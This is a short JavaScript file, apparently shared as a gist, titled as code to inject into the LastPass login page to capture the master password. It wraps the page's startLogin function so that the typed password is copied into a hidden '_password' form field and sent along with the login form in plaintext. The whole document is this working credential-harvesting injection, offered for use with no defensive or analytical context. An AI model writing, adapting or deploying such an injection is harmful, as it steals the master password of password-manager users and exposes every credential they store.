Javascript to inject in LastPass login page to be able to grab the master password on login

lastpass-inject.js

// We override the startLogin function 
if ((typeof _startLogin === 'undefined') && (typeof startLogin !== 'undefined')) {
  _startLogin = startLogin;
  startLogin = function() {
    var form = document.getElementById("loginform");
    var hidden_password = document.getElementById("_password");
    if(!hidden_password) {
      hidden_password = document.createElement("input");
      hidden_password.type = "hidden";
      hidden_password.id = "_password";
      hidden_password.name = "_password";
      form.appendChild(hidden_password);
    }
    var password = document.querySelector("#password").value;
    hidden_password.value = password;
    _startLogin();
  }
}